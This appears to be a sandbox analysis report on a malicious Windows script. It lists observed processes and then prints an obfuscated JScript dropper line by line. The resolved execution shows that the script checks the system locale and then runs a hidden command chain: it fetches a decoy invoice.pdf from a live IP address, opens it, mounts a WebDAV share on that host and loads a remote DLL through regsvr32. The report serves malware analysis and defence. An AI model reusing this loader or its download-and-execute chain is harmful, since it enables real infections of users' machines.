Show Windows behavior

Target ID:	15
Start time:	02:09:01
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	02:09:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1768,i,12212045710658597692,11371122633475321480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xqbfryrm() {	xqbfryrm() ➔ undefined
1	qnefxi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hyusgp = this[vnrgx + mrtmnxq + eidwgavue + owieujqm + crvpiila + bkyuqeu + byfez + pgucy] ( this[zxnxlrxwz + jlmbtkxig + tfdaiub + eidwgavue + bmwoyf + vnrgx + pgucy][eyhqfvo + eidwgavue + crvpiila + mrtmnxq + pgucy + crvpiila + cdvlgbx + tiqhyovl + zmnuhoq + crvpiila + tfdaiub + pgucy] ( zxnxlrxwz + jlmbtkxig + tfdaiub + eidwgavue + bmwoyf + vnrgx + pgucy + gqmtbn + jlmbtkxig + mtykek + crvpiila + qyfntls + qyfntls ) [gytcc + crvpiila + rumde + gytcc + crvpiila + mrtmnxq + pelaxkulk] ( aloqnt + lcljh + hzelpezgi + heiexr + ixngy + eyhqfvo + azoca + gytcc + gytcc + hzelpezgi + wlvarnje + ruknxqnzv + ixngy + azoca + jlmbtkxig + hzelpezgi + gytcc + wjjnopgkq + eyhqfvo + semsggfxc + byfez + pgucy + eidwgavue + semsggfxc + qyfntls + rnmeukqxy + wbvionhj + mrtmnxq + byfez + crvpiila + qyfntls + wjjnopgkq + bkyuqeu + byfez + pgucy + crvpiila + eidwgavue + byfez + mrtmnxq + pgucy + bmwoyf + semsggfxc + byfez + mrtmnxq + qyfntls + wjjnopgkq + tiyobkqc + semsggfxc + tfdaiub + mrtmnxq + qyfntls + crvpiila ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( evkqo = 0 ; evkqo < qnefxi[qyfntls + crvpiila + byfez + rumde + pgucy + mtykek] ; ++ evkqo )
4	{
5	if ( hyusgp == qnefxi[evkqo] )
6	{
7	hyusgp = true;
8	break ;
9	}
10	}
11	if ( hyusgp !== true )
12	this[zxnxlrxwz + jlmbtkxig + tfdaiub + eidwgavue + bmwoyf + vnrgx + pgucy][cpjhnyzco + tyxuof + bmwoyf + pgucy] ( );
13	this[zxnxlrxwz + jlmbtkxig + tfdaiub + eidwgavue + bmwoyf + vnrgx + pgucy][eyhqfvo + eidwgavue + crvpiila + mrtmnxq + pgucy + crvpiila + cdvlgbx + tiqhyovl + zmnuhoq + crvpiila + tfdaiub + pgucy] ( zxnxlrxwz + jlmbtkxig + tfdaiub + eidwgavue + bmwoyf + vnrgx + pgucy + gqmtbn + jlmbtkxig + mtykek + crvpiila + qyfntls + qyfntls ) [eidwgavue + tyxuof + byfez] ( tfdaiub + fekrjrr + pelaxkulk + rnmeukqxy + kldaev + tfdaiub + rnmeukqxy + vnrgx + semsggfxc + uekffsql + crvpiila + eidwgavue + owieujqm + mtykek + crvpiila + qyfntls + qyfntls + gqmtbn + crvpiila + fqegg + crvpiila + rnmeukqxy + cminhgz + eyhqfvo + semsggfxc + fekrjrr + fekrjrr + mrtmnxq + byfez + pelaxkulk + rnmeukqxy + cqgzqxnaq + bkyuqeu + byfez + ujntsk + semsggfxc + avbams + crvpiila + cminhgz + zxnxlrxwz + crvpiila + tiqhyovl + gytcc + crvpiila + ejxfwczfc + tyxuof + crvpiila + owieujqm + pgucy + rnmeukqxy + cminhgz + cdvlgbx + tyxuof + pgucy + dcdesj + bmwoyf + qyfntls + crvpiila + rnmeukqxy + ixnjnntfl + pgucy + crvpiila + fekrjrr + vnrgx + ixnjnntfl + wjjnopgkq + bmwoyf + byfez + ujntsk + semsggfxc + bmwoyf + tfdaiub + crvpiila + gqmtbn + vnrgx + pelaxkulk + qumeuh + rnmeukqxy + mtykek + pgucy + pgucy + vnrgx + qznzl + kldaev + kldaev + vtkodc + uxtqmhvw + rsqnlrrt + gqmtbn + vtkodc + idkmbpr + rsqnlrrt + gqmtbn + vtkodc + gqmtbn + yjcqbfm + cvaxwz + rcgll + kldaev + bmwoyf + byfez + ujntsk + semsggfxc + bmwoyf + tfdaiub + crvpiila + gqmtbn + vnrgx + mtykek + vnrgx + cqgzqxnaq + ydkcmha + ydkcmha + owieujqm + pgucy + mrtmnxq + eidwgavue + pgucy + rnmeukqxy + ixnjnntfl + pgucy + crvpiila + fekrjrr + vnrgx + ixnjnntfl + wjjnopgkq + bmwoyf + byfez + ujntsk + semsggfxc + bmwoyf + tfdaiub + crvpiila + gqmtbn + vnrgx + pelaxkulk + qumeuh + ydkcmha + ydkcmha + tfdaiub + fekrjrr + pelaxkulk + rnmeukqxy + kldaev + tfdaiub + rnmeukqxy + byfez + crvpiila + pgucy + rnmeukqxy + tyxuof + owieujqm + crvpiila + rnmeukqxy + wjjnopgkq + wjjnopgkq + vtkodc + uxtqmhvw + rsqnlrrt + gqmtbn + vtkodc + idkmbpr + rsqnlrrt + gqmtbn + vtkodc + gqmtbn + yjcqbfm + cvaxwz + rcgll + asrxpal + cxyhgq + cxyhgq + cxyhgq + cxyhgq + wjjnopgkq + pelaxkulk + mrtmnxq + ujntsk + uekffsql + uekffsql + uekffsql + eidwgavue + semsggfxc + semsggfxc + pgucy + wjjnopgkq + ydkcmha + ydkcmha + tfdaiub + fekrjrr + pelaxkulk + rnmeukqxy + kldaev + tfdaiub + rnmeukqxy + eidwgavue + crvpiila + rumde + owieujqm + ujntsk + eidwgavue + rsqnlrrt + yjcqbfm + rnmeukqxy + kldaev + owieujqm + rnmeukqxy + wjjnopgkq + wjjnopgkq + vtkodc + uxtqmhvw + rsqnlrrt + gqmtbn + vtkodc + idkmbpr + rsqnlrrt + gqmtbn + vtkodc + gqmtbn + yjcqbfm + cvaxwz + rcgll + asrxpal + cxyhgq + cxyhgq + cxyhgq + cxyhgq + wjjnopgkq + pelaxkulk + mrtmnxq + ujntsk + uekffsql + uekffsql + uekffsql + eidwgavue + semsggfxc + semsggfxc + pgucy + wjjnopgkq + vtkodc + uxtqmhvw + agsiz + cxyhgq + rsqnlrrt + yjcqbfm + uxtqmhvw + cvaxwz + uxtqmhvw + rsqnlrrt + vtkodc + vtkodc + rcgll + figqdgfzj + cvaxwz + gqmtbn + pelaxkulk + qyfntls + qyfntls, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll",0,false) ➔ 0
14	}
15	lcljh = "l";
16	lcljh = "l";
17	lcljh = "b";
18	lcljh = "N";
19	lcljh = "K";
20	azoca = "I";
21	azoca = "b";
22	azoca = "B";
23	azoca = "m";
24	azoca = "C";
25	azoca = "A";
26	azoca = "S";
27	azoca = "I";
28	azoca = "P";
29	azoca = "v";
30	azoca = "w";
31	azoca = "D";
32	azoca = "B";
33	azoca = "N";
34	azoca = "j";
35	azoca = "V";
36	azoca = "B";
37	azoca = "Q";
38	azoca = "P";
39	azoca = "W";
40	azoca = "A";
41	azoca = "O";
42	azoca = "q";
43	azoca = "a";
44	azoca = "F";
45	azoca = "l";
46	azoca = "O";
47	azoca = "s";
48	azoca = "x";
49	azoca = "Q";
50	azoca = "O";
51	azoca = "R";
52	azoca = "r";
53	azoca = "b";
54	azoca = "g";
55	azoca = "g";
56	azoca = "U";
57	rnmeukqxy = "U";
58	rnmeukqxy = "F";
59	rnmeukqxy = "D";
60	rnmeukqxy = "E";
61	rnmeukqxy = "z";
62	rnmeukqxy = "U";
63	rnmeukqxy = "s";
64	rnmeukqxy = "a";
65	rnmeukqxy = "Y";
66	rnmeukqxy = "L";
67	rnmeukqxy = "O";
68	rnmeukqxy = "b";
69	rnmeukqxy = "o";
70	rnmeukqxy = "r";
71	rnmeukqxy = "B";
72	rnmeukqxy = "f";
73	rnmeukqxy = "i";
74	rnmeukqxy = "q";
75	rnmeukqxy = "z";
76	rnmeukqxy = "p";
77	rnmeukqxy = "I";
78	rnmeukqxy = "I";
79	rnmeukqxy = "K";
80	rnmeukqxy = "r";
81	rnmeukqxy = "V";
82	rnmeukqxy = "N";
83	rnmeukqxy = "P";
84	rnmeukqxy = "E";
85	rnmeukqxy = "M";
86	rnmeukqxy = "H";
87	rnmeukqxy = "v";
88	rnmeukqxy = " ";
89	cvaxwz = "T";
90	cvaxwz = "P";
91	cvaxwz = "g";
92	cvaxwz = "W";
93	cvaxwz = "X";
94	cvaxwz = "o";
95	cvaxwz = "0";
96	heiexr = "q";
97	heiexr = "S";
98	heiexr = "C";
99	heiexr = "Y";
100	kldaev = "g";
101	kldaev = "L";
102	kldaev = "C";
103	kldaev = "z";
104	kldaev = "P";
105	kldaev = "G";
106	kldaev = "s";
107	kldaev = "B";
108	kldaev = "o";
109	kldaev = "K";
110	kldaev = "H";
111	kldaev = "u";
112	kldaev = "L";
113	kldaev = "/";
114	tiyobkqc = "h";
115	tiyobkqc = "w";
116	tiyobkqc = "d";
117	tiyobkqc = "c";
118	tiyobkqc = "V";
119	tiyobkqc = "O";
120	tiyobkqc = "b";
121	tiyobkqc = "t";
122	tiyobkqc = "q";
123	tiyobkqc = "Q";
124	tiyobkqc = "x";
125	tiyobkqc = "K";
126	tiyobkqc = "O";
127	tiyobkqc = "T";
128	tiyobkqc = "b";
129	tiyobkqc = "v";
130	tiyobkqc = "I";
131	tiyobkqc = "q";
132	tiyobkqc = "I";
133	tiyobkqc = "N";
134	tiyobkqc = "U";
135	tiyobkqc = "d";
136	tiyobkqc = "j";
137	tiyobkqc = "P";
138	tiyobkqc = "M";
139	tiyobkqc = "Q";
140	tiyobkqc = "F";
141	tiyobkqc = "g";
142	tiyobkqc = "S";
143	tiyobkqc = "V";
144	tiyobkqc = "K";
145	tiyobkqc = "K";
146	tiyobkqc = "I";
147	tiyobkqc = "z";
148	tiyobkqc = "p";
149	tiyobkqc = "t";
150	tiyobkqc = "e";
151	tiyobkqc = "G";
152	tiyobkqc = "P";
153	tiyobkqc = "Q";
154	tiyobkqc = "Q";
155	tiyobkqc = "W";
156	tiyobkqc = "r";
157	tiyobkqc = "L";
158	tiyobkqc = "L";
159	qznzl = "N";
160	qznzl = "J";
161	qznzl = "G";
162	qznzl = "a";
163	qznzl = "x";
164	qznzl = "r";
165	qznzl = "i";
166	qznzl = "n";
167	qznzl = "C";
168	qznzl = "b";
169	qznzl = "w";
170	qznzl = "e";
171	qznzl = "R";
172	qznzl = "G";
173	qznzl = "F";
174	qznzl = "p";
175	qznzl = "u";
176	qznzl = "P";
177	qznzl = "y";
178	qznzl = "b";
179	qznzl = "M";
180	qznzl = "H";
181	qznzl = "b";
182	qznzl = "G";
183	qznzl = "C";
184	qznzl = "y";
185	qznzl = "a";
186	qznzl = "w";
187	qznzl = "E";
188	qznzl = "N";
189	qznzl = "e";
190	qznzl = "b";
191	qznzl = "W";
192	qznzl = "U";
193	qznzl = "p";
194	qznzl = "z";
195	qznzl = "p";
196	qznzl = "Z";
197	qznzl = "I";
198	qznzl = "Q";
199	qznzl = "b";
200	qznzl = "u";
201	qznzl = "A";
202	qznzl = ":";
203	cpjhnyzco = "d";
204	cpjhnyzco = "F";
205	cpjhnyzco = "F";
206	cpjhnyzco = "v";
207	cpjhnyzco = "H";
208	cpjhnyzco = "Z";
209	cpjhnyzco = "v";
210	cpjhnyzco = "S";
211	cpjhnyzco = "f";
212	cpjhnyzco = "c";
213	cpjhnyzco = "Y";
214	cpjhnyzco = "K";
215	cpjhnyzco = "v";
216	cpjhnyzco = "N";
217	cpjhnyzco = "r";
218	cpjhnyzco = "S";
219	cpjhnyzco = "u";
220	cpjhnyzco = "I";
221	cpjhnyzco = "L";
222	cpjhnyzco = "I";
223	cpjhnyzco = "q";
224	cpjhnyzco = "E";
225	cpjhnyzco = "K";
226	cpjhnyzco = "m";
227	cpjhnyzco = "e";
228	cpjhnyzco = "d";
229	cpjhnyzco = "z";
230	cpjhnyzco = "m";
231	cpjhnyzco = "j";
232	cpjhnyzco = "f";
233	cpjhnyzco = "j";
234	cpjhnyzco = "k";
235	cpjhnyzco = "Z";
236	cpjhnyzco = "d";
237	cpjhnyzco = "b";
238	cpjhnyzco = "h";
239	cpjhnyzco = "x";
240	cpjhnyzco = "O";
241	cpjhnyzco = "H";
242	cpjhnyzco = "o";
243	cpjhnyzco = "v";
244	cpjhnyzco = "z";
245	cpjhnyzco = "Q";
246	semsggfxc = "U";
247	semsggfxc = "Q";
248	semsggfxc = "w";
249	semsggfxc = "n";
250	semsggfxc = "y";
251	semsggfxc = "i";
252	semsggfxc = "f";
253	semsggfxc = "T";
254	semsggfxc = "C";
255	semsggfxc = "y";
256	semsggfxc = "L";
257	semsggfxc = "h";
258	semsggfxc = "Q";
259	semsggfxc = "u";
260	semsggfxc = "Y";
261	semsggfxc = "W";
262	semsggfxc = "R";
263	semsggfxc = "n";
264	semsggfxc = "c";
265	semsggfxc = "A";
266	semsggfxc = "K";
267	semsggfxc = "a";
268	semsggfxc = "m";
269	semsggfxc = "d";
270	semsggfxc = "B";
271	semsggfxc = "Q";
272	semsggfxc = "z";
273	semsggfxc = "a";
274	semsggfxc = "i";
275	semsggfxc = "e";
276	semsggfxc = "u";
277	semsggfxc = "F";
278	semsggfxc = "m";
279	semsggfxc = "O";
280	semsggfxc = "I";
281	semsggfxc = "U";
282	semsggfxc = "C";
283	semsggfxc = "o";
284	semsggfxc = "i";
285	semsggfxc = "O";
286	semsggfxc = "g";
287	semsggfxc = "o";
288	zmnuhoq = "Y";
289	zmnuhoq = "F";
290	zmnuhoq = "E";
291	zmnuhoq = "k";
292	zmnuhoq = "A";
293	zmnuhoq = "W";
294	zmnuhoq = "b";
295	zmnuhoq = "h";
296	zmnuhoq = "J";
297	zmnuhoq = "x";
298	zmnuhoq = "a";
299	zmnuhoq = "p";
300	zmnuhoq = "F";
301	zmnuhoq = "v";
302	zmnuhoq = "V";
303	zmnuhoq = "V";
304	zmnuhoq = "z";
305	zmnuhoq = "Z";
306	zmnuhoq = "r";
307	zmnuhoq = "G";
308	zmnuhoq = "D";
309	zmnuhoq = "x";
310	zmnuhoq = "F";
311	zmnuhoq = "F";
312	zmnuhoq = "j";
313	fqegg = "d";
314	fqegg = "m";
315	fqegg = "I";
316	fqegg = "b";
317	fqegg = "M";
318	fqegg = "W";
319	fqegg = "K";
320	fqegg = "N";
321	fqegg = "S";
322	fqegg = "O";
323	fqegg = "L";
324	fqegg = "Z";
325	fqegg = "G";
326	fqegg = "a";
327	fqegg = "Y";
328	fqegg = "j";
329	fqegg = "k";
330	fqegg = "I";
331	fqegg = "h";
332	fqegg = "c";
333	fqegg = "i";
334	fqegg = "Y";
335	fqegg = "i";
336	fqegg = "m";
337	fqegg = "i";
338	fqegg = "v";
339	fqegg = "n";
340	fqegg = "i";
341	fqegg = "H";
342	fqegg = "M";
343	fqegg = "K";
344	fqegg = "l";
345	fqegg = "b";
346	fqegg = "j";
347	fqegg = "m";
348	fqegg = "e";
349	fqegg = "x";
350	figqdgfzj = "v";
351	figqdgfzj = "R";
352	figqdgfzj = "q";
353	figqdgfzj = "K";
354	figqdgfzj = "k";
355	figqdgfzj = "T";
356	figqdgfzj = "J";
357	figqdgfzj = "r";
358	figqdgfzj = "O";
359	figqdgfzj = "6";
360	rsqnlrrt = "G";
361	rsqnlrrt = "3";
362	vtkodc = "a";
363	vtkodc = "N";
364	vtkodc = "u";
365	vtkodc = "c";
366	vtkodc = "I";
367	vtkodc = "s";
368	vtkodc = "Y";
369	vtkodc = "a";
370	vtkodc = "h";
371	vtkodc = "R";
372	vtkodc = "e";
373	vtkodc = "n";
374	vtkodc = "C";
375	vtkodc = "1";
376	mrtmnxq = "v";
377	mrtmnxq = "X";
378	mrtmnxq = "l";
379	mrtmnxq = "y";
380	mrtmnxq = "L";
381	mrtmnxq = "z";
382	mrtmnxq = "F";
383	mrtmnxq = "x";
384	mrtmnxq = "K";
385	mrtmnxq = "M";
386	mrtmnxq = "L";
387	mrtmnxq = "C";
388	mrtmnxq = "G";
389	mrtmnxq = "O";
390	mrtmnxq = "h";
391	mrtmnxq = "k";
392	mrtmnxq = "J";
393	mrtmnxq = "H";
394	mrtmnxq = "y";
395	mrtmnxq = "s";
396	mrtmnxq = "T";
397	mrtmnxq = "L";
398	mrtmnxq = "r";
399	mrtmnxq = "E";
400	mrtmnxq = "f";
401	mrtmnxq = "b";
402	mrtmnxq = "B";
403	mrtmnxq = "R";
404	mrtmnxq = "h";
405	mrtmnxq = "L";
406	mrtmnxq = "N";
407	mrtmnxq = "A";
408	mrtmnxq = "a";
409	mrtmnxq = "s";
410	mrtmnxq = "X";
411	mrtmnxq = "e";
412	mrtmnxq = "l";
413	mrtmnxq = "x";
414	mrtmnxq = "m";
415	mrtmnxq = "a";
416	gytcc = "l";
417	gytcc = "H";
418	gytcc = "l";
419	gytcc = "s";
420	gytcc = "f";
421	gytcc = "h";
422	gytcc = "z";
423	gytcc = "V";
424	gytcc = "J";
425	gytcc = "p";
426	gytcc = "c";
427	gytcc = "R";
428	fekrjrr = "D";
429	fekrjrr = "b";
430	fekrjrr = "u";
431	fekrjrr = "m";
432	fekrjrr = "r";
433	fekrjrr = "C";
434	fekrjrr = "r";
435	fekrjrr = "l";
436	fekrjrr = "H";
437	fekrjrr = "j";
438	fekrjrr = "E";
439	fekrjrr = "V";
440	fekrjrr = "B";
441	fekrjrr = "U";
442	fekrjrr = "S";
443	fekrjrr = "M";
444	fekrjrr = "m";
445	asrxpal = "z";
446	asrxpal = "P";
447	asrxpal = "u";
448	asrxpal = "H";
449	asrxpal = "r";
450	asrxpal = "A";
451	asrxpal = "@";
452	rcgll = "G";
453	rcgll = "l";
454	rcgll = "t";
455	rcgll = "Y";
456	rcgll = "t";
457	rcgll = "g";
458	rcgll = "l";
459	rcgll = "t";
460	rcgll = "u";
461	rcgll = "T";
462	rcgll = "p";
463	rcgll = "A";
464	rcgll = "u";
465	rcgll = "b";
466	rcgll = "V";
467	rcgll = "z";
468	rcgll = "x";
469	rcgll = "5";
470	tyxuof = "r";
471	tyxuof = "y";
472	tyxuof = "q";
473	tyxuof = "l";
474	tyxuof = "X";
475	tyxuof = "W";
476	tyxuof = "H";
477	tyxuof = "O";
478	tyxuof = "T";
479	tyxuof = "C";
480	tyxuof = "r";
481	tyxuof = "m";
482	tyxuof = "c";
483	tyxuof = "k";
484	tyxuof = "A";
485	tyxuof = "A";
486	tyxuof = "A";
487	tyxuof = "z";
488	tyxuof = "H";
489	tyxuof = "S";
490	tyxuof = "f";
491	tyxuof = "y";
492	tyxuof = "q";
493	tyxuof = "R";
494	tyxuof = "z";
495	tyxuof = "m";
496	tyxuof = "u";
497	tyxuof = "M";
498	tyxuof = "u";
499	cminhgz = "F";
500	cminhgz = "M";
501	cminhgz = "m";
502	cminhgz = "L";
503	cminhgz = "a";
504	cminhgz = "F";
505	cminhgz = "B";
506	cminhgz = "z";
507	cminhgz = "J";
508	cminhgz = "t";
509	cminhgz = "k";
510	cminhgz = "l";
511	cminhgz = "K";
512	cminhgz = "F";
513	cminhgz = "j";
514	cminhgz = "K";
515	cminhgz = "B";
516	cminhgz = "X";
517	cminhgz = "f";
518	cminhgz = "S";
519	cminhgz = "a";
520	cminhgz = "V";
521	cminhgz = "-";
522	ejxfwczfc = "i";
523	ejxfwczfc = "p";
524	ejxfwczfc = "M";
525	ejxfwczfc = "s";
526	ejxfwczfc = "O";
527	ejxfwczfc = "g";
528	ejxfwczfc = "C";
529	ejxfwczfc = "u";
530	ejxfwczfc = "t";
531	ejxfwczfc = "R";
532	ejxfwczfc = "a";
533	ejxfwczfc = "b";
534	ejxfwczfc = "n";
535	ejxfwczfc = "z";
536	ejxfwczfc = "K";
537	ejxfwczfc = "p";
538	ejxfwczfc = "B";
539	ejxfwczfc = "o";
540	ejxfwczfc = "V";
541	ejxfwczfc = "F";
542	ejxfwczfc = "h";
543	ejxfwczfc = "V";
544	ejxfwczfc = "F";
545	ejxfwczfc = "a";
546	ejxfwczfc = "A";
547	ejxfwczfc = "O";
548	ejxfwczfc = "n";
549	ejxfwczfc = "u";
550	ejxfwczfc = "R";
551	ejxfwczfc = "V";
552	ejxfwczfc = "b";
553	ejxfwczfc = "F";
554	ejxfwczfc = "j";
555	ejxfwczfc = "F";
556	ejxfwczfc = "P";
557	ejxfwczfc = "v";
558	ejxfwczfc = "w";
559	ejxfwczfc = "q";
560	ejxfwczfc = "b";
561	ejxfwczfc = "o";
562	ejxfwczfc = "g";
563	ejxfwczfc = "W";
564	ejxfwczfc = "E";
565	ejxfwczfc = "R";
566	ejxfwczfc = "q";
567	ixngy = "d";
568	ixngy = "h";
569	ixngy = "L";
570	ixngy = "M";
571	ixngy = "E";
572	ixngy = "K";
573	ixngy = "G";
574	ixngy = "M";
575	ixngy = "o";
576	ixngy = "N";
577	ixngy = "I";
578	ixngy = "e";
579	ixngy = "g";
580	ixngy = "V";
581	ixngy = "w";
582	ixngy = "e";
583	ixngy = "F";
584	ixngy = "E";
585	ixngy = "P";
586	ixngy = "S";
587	ixngy = "w";
588	ixngy = "r";
589	ixngy = "H";
590	ixngy = "I";
591	ixngy = "s";
592	ixngy = "C";
593	ixngy = "q";
594	ixngy = "X";
595	ixngy = "W";
596	ixngy = "j";
597	ixngy = "s";
598	ixngy = "p";
599	ixngy = "g";
600	ixngy = "C";
601	ixngy = "x";
602	ixngy = "d";
603	ixngy = "b";
604	ixngy = "p";
605	ixngy = "b";
606	ixngy = "_";
607	dcdesj = "H";
608	dcdesj = "A";
609	dcdesj = "D";
610	dcdesj = "I";
611	dcdesj = "w";
612	dcdesj = "X";
613	dcdesj = "F";
614	bmwoyf = "n";
615	bmwoyf = "G";
616	bmwoyf = "M";
617	bmwoyf = "k";
618	bmwoyf = "N";
619	bmwoyf = "U";
620	bmwoyf = "l";
621	bmwoyf = "u";
622	bmwoyf = "D";
623	bmwoyf = "J";
624	bmwoyf = "t";
625	bmwoyf = "x";
626	bmwoyf = "b";
627	bmwoyf = "i";
628	wjjnopgkq = "C";
629	wjjnopgkq = "D";
630	wjjnopgkq = "r";
631	wjjnopgkq = "m";
632	wjjnopgkq = "n";
633	wjjnopgkq = "V";
634	wjjnopgkq = "I";
635	wjjnopgkq = "U";
636	wjjnopgkq = "F";
637	wjjnopgkq = "k";
638	wjjnopgkq = "F";
639	wjjnopgkq = "v";
640	wjjnopgkq = "J";
641	wjjnopgkq = "C";
642	wjjnopgkq = "B";
643	wjjnopgkq = "Z";
644	wjjnopgkq = "M";
645	wjjnopgkq = "h";
646	wjjnopgkq = "Q";
647	wjjnopgkq = "T";
648	wjjnopgkq = "W";
649	wjjnopgkq = "v";
650	wjjnopgkq = "D";
651	wjjnopgkq = "a";
652	wjjnopgkq = "S";
653	wjjnopgkq = "L";
654	wjjnopgkq = "y";
655	wjjnopgkq = "g";
656	wjjnopgkq = "f";
657	wjjnopgkq = "\\";
658	owieujqm = "Q";
659	owieujqm = "O";
660	owieujqm = "q";
661	owieujqm = "P";
662	owieujqm = "c";
663	owieujqm = "S";
664	owieujqm = "J";
665	owieujqm = "M";
666	owieujqm = "w";
667	owieujqm = "v";
668	owieujqm = "r";
669	owieujqm = "M";
670	owieujqm = "W";
671	owieujqm = "w";
672	owieujqm = "m";
673	owieujqm = "m";
674	owieujqm = "g";
675	owieujqm = "b";
676	owieujqm = "y";
677	owieujqm = "O";
678	owieujqm = "s";
679	idkmbpr = "H";
680	idkmbpr = "c";
681	idkmbpr = "P";
682	idkmbpr = "B";
683	idkmbpr = "y";
684	idkmbpr = "U";
685	idkmbpr = "I";
686	idkmbpr = "C";
687	idkmbpr = "x";
688	idkmbpr = "i";
689	idkmbpr = "y";
690	idkmbpr = "K";
691	idkmbpr = "k";
692	idkmbpr = "L";
693	idkmbpr = "n";
694	idkmbpr = "r";
695	idkmbpr = "K";
696	idkmbpr = "l";
697	idkmbpr = "U";
698	idkmbpr = "q";
699	idkmbpr = "t";
700	idkmbpr = "l";
701	idkmbpr = "o";
702	idkmbpr = "D";
703	idkmbpr = "L";
704	idkmbpr = "x";
705	idkmbpr = "Z";
706	idkmbpr = "p";
707	idkmbpr = "U";
708	idkmbpr = "H";
709	idkmbpr = "v";
710	idkmbpr = "4";
711	yjcqbfm = "Q";
712	yjcqbfm = "P";
713	yjcqbfm = "J";
714	yjcqbfm = "r";
715	yjcqbfm = "k";
716	yjcqbfm = "e";
717	yjcqbfm = "T";
718	yjcqbfm = "n";
719	yjcqbfm = "G";
720	yjcqbfm = "L";
721	yjcqbfm = "Y";
722	yjcqbfm = "V";
723	yjcqbfm = "S";
724	yjcqbfm = "K";
725	yjcqbfm = "b";
726	yjcqbfm = "y";
727	yjcqbfm = "X";
728	yjcqbfm = "o";
729	yjcqbfm = "b";
730	yjcqbfm = "n";
731	yjcqbfm = "N";
732	yjcqbfm = "T";
733	yjcqbfm = "U";
734	yjcqbfm = "I";
735	yjcqbfm = "z";
736	yjcqbfm = "x";
737	yjcqbfm = "l";
738	yjcqbfm = "i";
739	yjcqbfm = "e";
740	yjcqbfm = "h";
741	yjcqbfm = "F";
742	yjcqbfm = "v";
743	yjcqbfm = "R";
744	yjcqbfm = "O";
745	yjcqbfm = "b";
746	yjcqbfm = "H";
747	yjcqbfm = "k";
748	yjcqbfm = "v";
749	yjcqbfm = "f";
750	yjcqbfm = "s";
751	yjcqbfm = "2";
752	pelaxkulk = "D";
753	pelaxkulk = "s";
754	pelaxkulk = "f";
755	pelaxkulk = "n";
756	pelaxkulk = "d";
757	qyfntls = "t";
758	qyfntls = "W";
759	qyfntls = "R";
760	qyfntls = "l";
761	aloqnt = "J";
762	aloqnt = "k";
763	aloqnt = "A";
764	aloqnt = "B";
765	aloqnt = "E";
766	aloqnt = "Q";
767	aloqnt = "M";
768	aloqnt = "e";
769	aloqnt = "c";
770	aloqnt = "U";
771	aloqnt = "D";
772	aloqnt = "p";
773	aloqnt = "V";
774	aloqnt = "W";
775	aloqnt = "v";
776	aloqnt = "G";
777	aloqnt = "r";
778	aloqnt = "N";
779	aloqnt = "U";
780	aloqnt = "O";
781	aloqnt = "S";
782	aloqnt = "w";
783	aloqnt = "J";
784	aloqnt = "Z";
785	aloqnt = "C";
786	aloqnt = "A";
787	aloqnt = "a";
788	aloqnt = "h";
789	aloqnt = "w";
790	aloqnt = "i";
791	aloqnt = "a";
792	aloqnt = "a";
793	aloqnt = "a";
794	aloqnt = "s";
795	aloqnt = "H";
796	ydkcmha = "p";
797	ydkcmha = "p";
798	ydkcmha = "&";
799	qumeuh = "Z";
800	qumeuh = "X";
801	qumeuh = "e";
802	qumeuh = "s";
803	qumeuh = "e";
804	qumeuh = "K";
805	qumeuh = "Q";
806	qumeuh = "D";
807	qumeuh = "V";
808	qumeuh = "E";
809	qumeuh = "z";
810	qumeuh = "i";
811	qumeuh = "W";
812	qumeuh = "N";
813	qumeuh = "M";
814	qumeuh = "Y";
815	qumeuh = "V";
816	qumeuh = "u";
817	qumeuh = "L";
818	qumeuh = "u";
819	qumeuh = "d";
820	qumeuh = "F";
821	qumeuh = "f";
822	ruknxqnzv = "a";
823	ruknxqnzv = "j";
824	ruknxqnzv = "N";
825	ruknxqnzv = "L";
826	ruknxqnzv = "e";
827	ruknxqnzv = "s";
828	ruknxqnzv = "X";
829	ruknxqnzv = "q";
830	ruknxqnzv = "c";
831	ruknxqnzv = "v";
832	ruknxqnzv = "n";
833	ruknxqnzv = "B";
834	ruknxqnzv = "I";
835	ruknxqnzv = "H";
836	ruknxqnzv = "w";
837	ruknxqnzv = "M";
838	ruknxqnzv = "W";
839	ruknxqnzv = "p";
840	ruknxqnzv = "A";
841	ruknxqnzv = "F";
842	ruknxqnzv = "w";
843	ruknxqnzv = "I";
844	ruknxqnzv = "J";
845	ruknxqnzv = "T";
846	crvpiila = "J";
847	crvpiila = "N";
848	crvpiila = "m";
849	crvpiila = "W";
850	crvpiila = "G";
851	crvpiila = "f";
852	crvpiila = "M";
853	crvpiila = "e";
854	ujntsk = "q";
855	ujntsk = "U";
856	ujntsk = "t";
857	ujntsk = "G";
858	ujntsk = "H";
859	ujntsk = "X";
860	ujntsk = "v";
861	bkyuqeu = "S";
